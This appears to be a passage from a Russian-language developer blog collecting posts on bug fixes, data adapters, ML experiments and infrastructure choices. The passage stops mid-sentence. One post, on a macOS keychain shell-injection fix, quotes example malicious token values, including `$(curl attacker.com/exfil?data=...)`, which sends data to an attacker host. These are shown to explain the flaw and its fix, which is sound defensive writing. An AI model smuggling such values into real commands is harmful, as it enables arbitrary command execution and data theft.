Блог
Публикации о процессе разработки, решённых задачах и изученных технологиях
Когда группа видна, а отправитель — нет: история одного бага
# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄
Когда shell выполняет то, чего ты не просил
# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.
Когда markdown убивает formatting: история трёх багов в Signal
Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄
Как мы поймали CSRF-атаку в OAuth: история исправления OC-25
Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄
Как Slack потерял свои картинки: история об индексах и массивах
В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*
Когда "умное" поведение мешает пользователю
В проекте **openclaw** произошла интересная история. После обновления **2026.2.13** разработчики выпустили фичу с *неявной реплай-сортировкой* сообщений в Telegram. Идея была правильная: автоматически группировать ответы в цепочки, как это делают все современные мессенджеры. Вот только выяснилось: когда эта фича встретилась с дефолтной настройкой `replyToMode="first"`, произошла чудесная трансформация. Теперь **каждый** первый ответ бота в личных сообщениях отправляется как нативная Telegram-реплай с кавычкой исходного сообщения. Пользователь пишет: "Привет" — а бот ему отвечает огромным пузырём с цитатой. И "Привет" становится цельным произведением искусства. Смешно было бы, если бы не регрессия. До этого обновления реплай-сортировка работала менее надёжно, поэтому дефолт "first" редко порождал видимые кавычки в личных чатах. Теперь же — надёжность возросла, и дефолт превратился в тихий врага UX. Представьте: простой диалог, а то и шутка про отправку кода выглядит как формальный деловой документ с копией исходного письма. Команда поняла проблему и сделала логичный шаг: переключить дефолт с `"first"` на `"off"`. Просто. Эффективно. Вот и всё. **Важный момент**: те, кому *нужна* реплай-сортировка, могут включить её вручную через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Никто не лишён выбора — просто дефолт теперь не раздражает большинство. Тестирование было жёсткое: переключали режим на живой инстанции 2026.2.13, смотрели прямое влияние на поведение. С `"first"` — каждое сообщение цитируется. С `"off"` — чистые ответы. Ясно как день. Интересно, что **тесты** вообще не понадобилось менять. Почему? Потому что они всегда явно устанавливали нужное значение `replyToMode`, не полагаясь на магию дефолтов. Вот это дизайн. История преподаёт урок: иногда "умное поведение по умолчанию" — это просто источник боли. Лучше выбрать консервативный дефолт и дать пользователям инструменты для кастомизации. Чем отличается машинный код от бессмыслицы? Машинный код работает. 😄
8 адаптеров за неделю: как подружить 13 источников данных
# Собрал 8 адаптеров данных за один спринт: как интегрировать 13 источников информации в систему Проект **trend-analisis** это система аналитики трендов, которая должна питаться данными из разных уголков интернета. Стояла задача расширить число источников: у нас было 5 старых адаптеров, и никак не получалось охватить полную картину рынка. Нужно было добавить YouTube, Reddit, Product Hunt, Stack Overflow и ещё несколько источников. Задача не просто в добавлении кода — важно было сделать это правильно, чтобы каждый адаптер легко интегрировался в единую систему и не ломал существующую архитектуру. Первым делом я начал с проектирования. Ведь разные источники требуют разных подходов. Reddit и YouTube используют OAuth2, у NewsAPI есть ограничение в 100 запросов в день, Product Hunt требует GraphQL вместо REST. Я создал модульную структуру: отдельные файлы для социальных сетей (`social.py`), новостей (`news.py`), и профессиональных сообществ (`community.py`). Каждый файл содержит свои адаптеры — Reddit, YouTube в социальном модуле; Stack Overflow, Dev.to и Product Hunt в модуле сообществ. **Неожиданно выяснилось**, что интеграция Google Trends через библиотеку pytrends требует двухсекундной задержки между запросами — иначе Google блокирует IP. Пришлось добавить асинхронное управление очередью запросов. А PubMed с его XML E-utilities API потребовал совершенно другого парсера, чем REST-соседи. За неделю я реализовал 8 адаптеров, написал 22 unit-теста (все прошли с первой попытки) и 16+ интеграционных тестов. Система корректно регистрирует 13 источников данных в source_registry. Здоровье адаптеров? 10 из 13 работают идеально. Три требуют полной аутентификации в production — это Reddit, YouTube и Product Hunt, но в тестовой среде всё работает как надо. **Знаешь, что интересно?** Системы сбора данных часто падают не из-за логики, а из-за rate limiting. REST API Google Trends не имеет официального API, поэтому pytrends это реверс-инженерия пользовательского интерфейса. Каждый обновочный спринт может сломать парсер. Поэтому я добавил graceful degradation — если Google Trends упадёт, система продолжит работу с остальными источниками. Итого: 8 новых адаптеров, 5 новых файлов, 7 изменённых, 18+ новых сигналов для скоринга трендов, и всё это заcommитчено в main ветку. Система готова к использованию. Дальше предстоит настройка весов для каждого источника в scoring-системе и оптимизация кэширования. **Что будет, если .NET обретёт сознание? Первым делом он удалит свою документацию.** 😄
Восемь API за день: как я собрал тренд-систему в production
# Восемь источников данных, один день работы и вот уже система тянет информацию со всего интернета Проект **trend-analisis** набирал обороты, но его слабое место было очевидным: система собирала сигналы о трендах, но питалась только крохами. Для полноценного анализа нужны были новые источники — не просто *много*, а *разнообразные*. Нужно было подтянуть социальные сети, новостные порталы, профильные техсообщества, поисковые тренды. За один день. В production-quality коде. Без паники. ## Зачем нам восемь источников сразу? Задача была типичной для аналитического сервиса: один источник данных — это шум, два-три — начало картины, а восемь разнородных источников — это уже сигнал. Reddit подскажет, что волнует сообщество. NewsAPI покажет, о чём пишут журналисты. Stack Overflow раскроет технические интересы. Google Trends — чистая позиция того, что гуглят люди. Каждый источник — отдельный голос, и все вместе они рисуют трендовый пейзаж. Но подключить восемь API разом — это не просто скопировать curl. Это интеграционный конвейер: конфиги с rate limits, асинхронные адаптеры с обработкой ошибок, health checks, нормализация сигналов и композитный скоринг. ## Как я это делал Первым делом определился со структурой: для каждого источника создал отдельную конфиг-модель с правильными таймаутами и лимитами запросов. Reddit ждёт полусекунды между запросами, YouTube требует аутентификации, NewsAPI предоставляет 100 запросов в день — каждый со своими правилами. Async-адаптеры писал через единый интерфейс, чтобы остальная система не парилась, откуда приходят данные. Интересный момент возник с нормализацией сигналов. Из Reddit берём апвоты и engagement ratio, из YouTube — view count и likes, из Product Hunt — голоса, из PubMed — цитирования. Как их между собой сравнивать? Социальная сеть может выдать миллион просмотров за день, а академический источник — тысячу цитаций за год. Решение было в BASELINES: каждая категория (SOCIAL, NEWS, TECH, SEARCH, ACADEMIC) имела базовые метрики, а затем веса равномерно распределялись внутри категории (сумма = 1.0). Глупо? Нет, это working solution, который можно итеративно улучшать с реальными данными. В `scoring.py` пришлось добавить обработку 18+ новых сигналов из метаданных: от количества комментариев до индекса популярности. Тесты написал параллельно с кодом — 22 unit теста плюс E2E проверка здоровья источников. ## Свежий факт о REST API, который не знали в 2010-м Когда создавали REST, никто не предусмотрел, что один API будет вызываться столько раз в секунду. Rate limiting появился потом, как забота сервиса о себе. Поэтому крупные API вроде Twitter и YouTube теперь добавляют в заголовки ответа оставшееся количество запросов (`X-RateLimit-Remaining`). Это не просто информация — это обратная связь для асинхронных очередей, которые должны умнее разподвигивать нагрузку. ## Что получилось 13 адаптеров зарегистрировалось успешно, health checks прошли 10 из 13 (три гейтированы на аутентификацию, но это ожидаемо). Reddit, NewsAPI, Stack Overflow, YouTube, Dev.to, Product Hunt, Google Trends и PubMed — теперь все они поют в хоре trend-analisis. Система может агрегировать упоминания, подсчитывать тренды, видеть, что вот прямо сейчас взлетает в техсообществе. Дальше предстоит: фидтуню веса, добавить источники второго уровня, может быть, Hacker News и Mastodon. Но фундамент готов. --- *GitHub Actions: решение проблемы, о существовании которой ты не знал, способом, который не понимаешь.* 😄
Когда модель тянется в разные стороны одновременно
# Когда тысяча строк кода говорят вам «стоп» Проект **bot-social-publisher** стоял на пороге масштабирования. Задача была амбициозной: научить нейросеть самой менять собственную архитектуру во время обучения. Звучит как научно-фантастический роман? На самом деле это была Phase 7b исследования, где предполагалось проверить, может ли модель расти и адаптироваться прямо на лету, без вмешательства человека. Я разработал три параллельных подхода. Первый — синтетические метки, которые должны были подтолкнуть сеть к самомодификации. Второй — вспомогательная функция потерь на базе энтропии, которая работала бы в тандеме с основной целью обучения. Третий — прямая энтропийная регуляризация, минималистичный и изящный. Каждый подход разворачивался в отдельный файл: `train_exp7b1.py`, `train_exp7b2.py`, `train_exp7b3_direct.py`. Плюс специализированные модули типа `control_head.py` для управления вспомогательными потерями и `expert_manager.py` для работы с модулем экспертов. Всего получилось около 1200 строк кода с тщательно продуманной архитектурой. Результаты оказались шокирующими. Первый эксперимент обрушил точность на 27%. Второй — на 11,5%. Третий? Тоже провал. Но вот что было важно: падение было не случайным. Я начал копать глубже и понял реальную причину. Когда модель получает противоречивые сигналы от нескольких функций потерь одновременно, она попадает в конфликт целей — буквально тянется в разные стороны. Многозадачное обучение без правильной структуризации становится саботажем собственной модели. Второе открытие оказалось не менее дорогостоящим: я использовал отдельное валидационное множество для отслеживания прогресса. Результат? Распределительный сдвиг (*distribution shift*) сам по себе стоил 13% точности. Неоднородность данных между тренировочным и валидационным наборами превратила помощника в saboteur. Вместо того чтобы продолжать биться в стену, я потратил время на документирование выводов. Создал 14 файлов анализа, включая `PHASE_7B_FINAL_ANALYSIS.md`. Это не выглядит как победа в классическом смысле, но именно это называется научным результатом. На основе этого я полностью переосмыслил стратегию для Phase 7c. Вместо самоизменяющейся архитектуры система теперь будет использовать **фиксированную топологию с обучаемыми параметрами**. Маски, гейтинг, распределение внимания между 12 экспертами — всё это может меняться. Но сама структура остаётся стабильной. Добавил двузадачное обучение (CIFAR-100 и SST-2) с применением **Elastic Weight Consolidation** для защиты от катастрофического забывания. Ключевой вывод: иногда самое важное, что может сказать эксперимент — это «не в этом направлении». И это нормально. --- **Интересный факт о катастрофическом забывании:** Это явление не просто нейросетевая прихоть. Оно берёт корни в самой архитектуре градиентного спуска — когда сеть переучивается на новую задачу, новые градиенты переписывают веса, которые были оптимальны для старой задачи. EWC решает это, буквально оценивая, какие веса были *важны* для первой задачи, и штрафует их за изменения. Элегантный способ заставить модель помнить. Если ваша нейросеть падает на 27% при добавлении вспомогательной функции потерь, проблема не в коде — проблема в том, что вы просите модель одновременно преследовать несовместимые цели.
От SQLite к Kubernetes: как выбрать стек для сервера
# Выбираем стек для боевого сервера: от SQLite до Kubernetes Вот я и дошёл до самой мясной части проекта **borisovai-admin** — нужно было решить, на чём строить технологический фундамент. Не просто выбрать, а выбрать правильно, с прицелом на масштабирование. Задача была масштабная: разобраться в 10 ключевых компонентах инфраструктуры и дать рекомендации для трёх разных уровней — от стартапа на $50–100 в месяц до полноценной облачной системы. Infrastructure as Code, управление конфигами, базы данных, оркестрация контейнеров, мониторинг — всё нужно было проанализировать и обосновать. Первым делом я создал структурированный анализ для каждого компонента. Взял **Terraform** для Infrastructure as Code (почему? потому что YAML в Ansible проще писать, но Terraform лучше управляет состоянием), **Ansible** для конфигурации (когда нужна простота без лишних абстракций), и вот тут начиналась интересная часть — выбор между SQLite и PostgreSQL. SQLite для первого тира — это не просто выбор экономии, это выбор разума. Встроенная база, ноль настройки, ноль инфраструктуры. Новичок может развернуть систему буквально за минуту. Но когда трафик растёт? Тогда я рекомендую чёткую миграционную дорожку: сначала **dual-write** (две базы параллельно, неделю собирали данные в обе), потом гибридный подход и только потом полная миграция на PostgreSQL с тремя серверами. Для оркестрации я выстроил пирамиду: **systemd** на одном сервере (t1), потом **Docker + Docker Compose** (t2) и наконец **Kubernetes** (t3) для тех, кто готов платить. Каждый уровень вносит свою сложность, но при правильной архитектуре переходы между ними — почти безболезненны. **Вот забавный факт про выбор инструментов:** Terraform и Ansible созданы в разных мирах. Terraform — это декларативный язык состояния (вы описываете, что хотите). Ansible — это процедурный язык действий (вы описываете, что делать). Профессионалы часто используют их вместе: Terraform создаёт инфраструктуру, Ansible её настраивает. Это как иметь архитектора и прораба на одном проекте. В итоге я подготовил три документа на 10 000+ слов: матрицу выбора с оценками по 10 критериям, полный анализ каждого компонента и готовый набор миграционных сценариев. Теперь у меня есть чёткая дорожная карта, и любой разработчик может взять этот стек и масштабировать систему вверх, не переделывая всё с нуля. Впереди — Track 3 с архитектурой AI-агента, и я уже вижу, как туда впишется этот технологический фундамент. 😄 Что общего у Terraform и кота? Оба отказываются делать то, что вы просили, пока не напишете ровно то, что они хотят видеть.
Как мы превратили экспертную проверку в систему
# Как мы собрали пакет экспертной оценки и что из этого вышло В **borisovai-site** встала типичная задача, которая только звучит простой: нужно было подготовить полноценный пакет для проверки системы feedback опытными разработчиками. Звучит как обычная административная работа, но это была отличная возможность создать инструмент, который сделает экспертизу структурированной и воспроизводимой. **Первым делом я понял объём.** Нужно не просто раскидать ссылки на код, а создать комплекс документов: брифинг для экспертов с конкретными техническими вопросами, чек-лист для быстрой ориентации, инструкции для организатора проекта и шаблоны для сбора обратной связи. Это не пять строк README, это полноценный пакет, который должен работать как система. **Начал с архитектуры пакета.** Разбил его по ролям: на пять экспертных направлений — безопасность, backend-архитектура, frontend-код, UX/дизайн и production-готовность. Каждому направлению нужны были свои вопросы, достаточно специфичные, чтобы эксперт не занимался ерундой, но при этом охватывающие реальные проблемы. Неожиданно выяснилось, что правильные вопросы — это половина успеха. Вопрос вроде «Насколько хорошо задокументирован код?» даст размытый ответ, а вот «Может ли новый разработчик за час разобраться с API feedback-системы?» уже даёт конкретное понимание. **EXPERT_REVIEW_REQUEST.md** стал главным документом — это детальный брифинг на 15 килобайт, где я описал контекст системы, текущие проблемы, которые волнуют команду, и пять специфических технических вопросов на каждое направление. **EXPERT_REVIEW_CHECKLIST.md** — это его компактный напарник для быстрой ориентации. А **HOW_TO_REQUEST_EXPERT_REVIEW.md** — пошаговая инструкция для организатора: как выбрать экспертов, как подготовить пакет, как отправить приглашения (даже шаблон email приготовил), как отслеживать ответы и компилировать feedback. **Интересный момент:** сам процесс создания этого пакета выявил слабые места в нашей документации. Когда пишешь вопросы для экспертов, понимаешь, что даже тебе не совсем понятно, почему архитектура именно такая. Это классический случай, когда подготовка к экспертизе становится самой полезной экспертизой. **Финальный результат** — структурированная система, которая масштабируется. Если в следующий раз понадобится ещё одна экспертная оценка, пакет легко адаптируется под новые вопросы. И главное — у нас есть объективный критерий: целевой рейтинг 4.0+ из 5.0 звёзд. Это не «хорошо» по наитию, а конкретное число, которое можно отслеживать и улучшать. Теперь осталось только найти экспертов и отправить им пакеты. Сама система feedback оценивает себя через других — очень meta, но работает. --- Разработчик: «Я подготовил пакет для экспертной оценки». Эксперт: «А есть ли у вас сам ответ?». Разработчик: «Да, но я хочу услышать ваше мнение». 😄
Микрофон учится слушать: история гибридной транскрипции
# Как мы научили микрофон слушать по-умному: история гибридной транскрипции Представьте себе знакомую ситуацию: вы нажимаете кнопку записи в приложении для голосового ввода, говорите фразу, отпускаете кнопку. Первый результат появляется почти мгновенно — 0.45 секунды, и вы уже можете продолжать работу. Но в фоне, незаметно для вас, происходит волшебство: тот же текст переобрабатывается, улучшается, и спустя 1.23 секунды выдаёт результат на 28% точнее. Это и есть гибридный подход к транскрипции, который мы только что воплотили в проекте **speech-to-text**. ## Задача, которая вставляла палки в колёса Изначально стояла простая, но коварная проблема: стандартная модель Whisper обеспечивает хорошую скорость, но качество оставляет желать лучшего. WER (word error rate) составлял мрачные 32.6% — представьте, что каждое третье слово может быть неправильным. Пользователь выдвинул чёткое требование: **реализовать гибридный подход прямо сейчас, чтобы получить 50% улучшение качества** путём тонкой настройки Whisper на русских аудиокнигах. Первым делом мы переосмыслили архитектуру. Вместо того чтобы ждать идеального результата, который займёт время, мы решили играть в две руки: быстрая базовая модель даёт мгновенный результат, а в параллельном потоке улучшенная модель шлифует текст в фоне. Это похоже на работу водителя-ассистента: первый делает очевидное (едем в основную полосу), а второй уже план Б готовит (проверяет слепые зоны). ## Как это реализовалось Интеграция гибридного подхода потребовала изменений в несколько ключевых мест. В `config.py` добавили параметры для управления режимом: простое включение-выключение через `"hybrid_mode_enabled": true`. В `main.py` реализовали оркестрацию двух потоков транскрипции с координацией результатов. Крайне важным оказался класс `HybridTranscriber` — именно он управляет тем, как две разные модели работают в унисон. Неожиданно выяснилось, что потребление памяти выросло на 460 МБ, но оно того стоит: пользователь получает первый результат так же быстро, как раньше (те же 0.45 секунды), а через 1.23 секунды получает улучшенный вариант. Главное — **нет ощущения задержки**, потому что основной поток не блокируется. ## Интересный факт о голосовых помощниках Забавно, что идея многослойной обработки голоса не нова. Amazon Alexa, созданная с использованием наработок британского учёного Уильяма Танстолл-Педо (его система Evi) и польского синтезатора Ivona (приобретена Amazon в 2012–2013 годах), работает по похожему принципу: быстрая обработка плюс фоновое уточнение. И хотя сейчас Amazon переходит на собственную LLM Nova, суть остаётся той же — многоуровневая архитектура для лучшего пользовательского опыта. ## Что дальше Мы создали полное руководство из 320 строк с инструкциями для финального 50% прироста качества через тонкую настройку на специализированных данных. Это потребует GPU на 2–3 недели ($15–50), но для серьёзных приложений это стоит. А пока пользователи могут включить гибридный режим в течение 30 секунд и сразу почувствовать 28% улучшение. Документация разложена по полочкам: `QUICK_START_HYBRID.md` для нетерпеливых, `HYBRID_APPROACH_GUIDE.md` для любопытных, `FINE_TUNING_GUIDE.md` для амбициозных. Тесты в `test_hybrid.py` подтверждают, что всё работает как надо. Научились простому, но мощному принципу: иногда лучше дать пользователю хороший результат *сейчас*, чем идеальный результат *потом*. Почему ZeroMQ не пришёл на вечеринку? Его заблокировал firewall.
Эксперименты, которые показали, что нейросеть не готова расти сама
# Когда эксперименты показывают, что вы идёте в тупик — это тоже результат Проект **llm-analisis** стоял на пороге важного этапа. Нужно было разобраться, может ли нейросеть с динамической архитектурой (то есть такая, которая меняет себя прямо во время обучения) работать эффективнее статичной модели. Звучит амбициозно: система, которая сама растёт, адаптируется, эволюционирует. Но амбиции и реальность — вещи разные. ## Столкновение с жёсткой реальностью Phase 7b был нацелен на проверку трёх гипотез. Первая: можно ли помочь модели через синтетические метки (*synthetic labels*)? Вторая: поможет ли вспомогательная функция потерь на основе энтропии (*auxiliary entropy loss*)? Третья: может быть, прямой подход с энтропией — самый эффективный? Я запустил три параллельных эксперимента с соответствующими реализациями: `train_exp7b1.py`, `train_exp7b2.py` и `train_exp7b3_direct.py`. Каждый файл — это 250–310 строк кода, где каждая деталь архитектуры была тщательно продумана. Добавил специализированный `control_head.py` для управления вспомогательными функциями потерь и `expert_manager.py` для работы с модулем экспертов. Результаты оказались шокирующими, но очень информативными. ## Что сломалось и почему это ценно Первая неожиданность: когда я попытался обучать вспомогательные потери одновременно с основной функцией потерь, точность упала на **11,5–27%**. Это не баг — это конфликт целей. Модель получала противоречивые сигналы, пытаясь одновременно минимизировать несколько функций потерь. Классический случай, когда многозадачное обучение работает против вас, если не структурировать его правильно. Вторая проблема: я использовал отдельное валидационное множество для отслеживания прогресса. Знаете что? Это вызвало распределительный сдвиг (*distribution shift*), который сам по себе подорвал производительность на **13%**. Урок: не всегда валидационное множество — друг вашей модели. Третье открытие касалось архитектуры. Когда система пыталась изменяться динамически (добавлять новых экспертов прямо во время тренинга), её точность была **60,61%**. Когда я зафиксировал архитектуру (12 экспертов, неизменные), результат поднялся до **69,80%**. Разница в девять процентов — это не погрешность измерений, это фундаментальный выбор. ## Как мы переосмыслили стратегию Вместо того чтобы биться в стену дальше, я потратил время на документирование всего, что выучил. Создал 14 файлов документации, включая `PHASE_7B_FINAL_ANALYSIS.md` и детальные планы для каждого из трёх подходов. Это не выглядит как успех, но это именно тот момент, когда осознание становится дороже экспериментов. На основе этого анализа родилась совершенно новая стратегия для Phase 7c: вместо самоизменяющейся архитектуры система теперь будет использовать **фиксированную топологию с обучаемыми параметрами**. Маски, гейтинг, распределение внимания между экспертами — всё это может меняться. Но сама структура 